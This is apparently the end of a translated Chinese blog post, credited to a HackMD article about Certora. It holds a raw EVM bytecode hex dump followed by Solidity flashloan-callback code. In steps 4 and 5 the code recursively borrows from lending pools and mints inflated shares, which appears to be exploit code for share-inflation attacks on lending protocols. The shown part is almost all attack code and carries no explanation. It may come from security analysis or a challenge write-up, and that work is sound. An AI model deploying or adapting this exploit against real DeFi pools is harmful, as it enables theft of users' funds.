4610313565b84526004840161037b565b03925af18015610bbc57610b90575b506107e4866102b9565b63b9f412b090803b15610b8b5761080891600091610800610043565b938492610313565b825281838161081960048201610274565b03925af18015610b8657610b59575b505b8261083e610838600061050b565b916101dc565b1115610a44576108686020610852886102b9565b633b1d21a290610860610043565b938492610313565b8252818061087860048201610274565b03915afa908115610a3f57600091610a11575b508361089f610899836101dc565b916101dc565b11600014610a0a575b926108b28661040e565b9063137b0fd1868693803b15610a05576108e0600080946108eb6108d4610043565b98899687958694610313565b84526004840161048a565b03925af1918215610a0057610907926109d3575b5084906104e3565b928361091c610916600061050b565b916101dc565b03610928575b5061082a565b8361093b610935836101dc565b916101dc565b106000146109ce5750825b6020610951886102b9565b636e553f65929061097e6000610966306103b0565b95610989610972610043565b97889687958694610313565b8452600484016103ea565b03925af180156109c95761099d575b610922565b6109bd9060203d81116109c2575b6109b581836102ea565b8101906103cb565b610998565b503d6109ab565b61039f565b610946565b6109f39060003d81116109f9575b6109eb81836102ea565b810190610430565b386108ff565b503d6109e1565b61039f565b6102c5565b50826108a8565b610a32915060203d8111610a38575b610a2a81836102ea565b8101906103cb565b3861088b565b503d610a20565b61039f565b935093505050610a9b610a56826100dc565b9163a9059cbb926020610a6933936100dc565b6370a0823190610a90610a7b306103b0565b92610a84610043565b97889485938493610313565b83526004830161041a565b03915afa928315610b5457600093610b1d575b506```
IERC20(flashloanData.asset).transfer(address(flashLoaner), flashloanData.repayAmount);
}
} else if (flashloanData.step == 4) {
if (flashloanData.depth > 0) {
uint256 nextBorrowAmount = (flashloanData.borrowAmount) * 10 - 1;
uint256 cashLeft = lendingPoolA1.getCash();
if (cashLeft < nextBorrowAmount) nextBorrowAmount = cashLeft;
FlashloanData memory nextFlashloanData = FlashloanData({
step: flashloanData.step,
asset: flashloanData.asset,
repayAmount: flashloanData.repayAmount,
borrowAmount: nextBorrowAmount,
depth: flashloanData.depth - 1
});
flashLoaner.flashloan(IERC20(nextFlashloanData.asset), nextBorrowAmount, address(this), abi.encode(nextFlashloanData));
} else {
uint256 totalShares = lendingPoolA1.totalSupply();
IERC20(flashloanData.asset).approve(address(lendingPoolA1), type(uint256).max);
lendingPoolA1.mint(totalShares * 1000000, address(this));
IERC20(flashloanData.asset).transfer(address(flashLoaner), flashloanData.repayAmount + 1);
}
} else if (flashloanData.step == 5) {
if (flashloanData.depth > 0) {
uint256 nextBorrowAmount = (flashloanData.borrowAmount) * 10 - 1;
uint256 cashLeft = lendingPoolB1.getCash();
if (cashLeft < nextBorrowAmount) nextBorrowAmount = cashLeft;
FlashloanData memory nextFlashloanData = FlashloanData({
step: flashloanData.step,
asset: flashloanData.asset,
repayAmount: flashloanData.repayAmount,
borrowAmount: nextBorrowAmount,
depth: flashloanData.depth - 1
});
flashLoaner.flashloan(IERC20(nextFlashloanData.asset), nextBorrowAmount, address(this), abi.encode(nextFlashloanData));
} else {
uint256 totalShares = lendingPoolB1.totalSupply();
IERC20(flashloanData.asset).approve(address(lendingPoolB1), type(uint256).max);
lendingPoolB1.mint(totalShares * 1000000, address(this));
IERC20(flashloanData.asset).transfer(address(flashLoaner), flashloanData.repayAmount);
}
}
}
}
- 原文链接: hackmd.io/@billh/Certora...
- 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!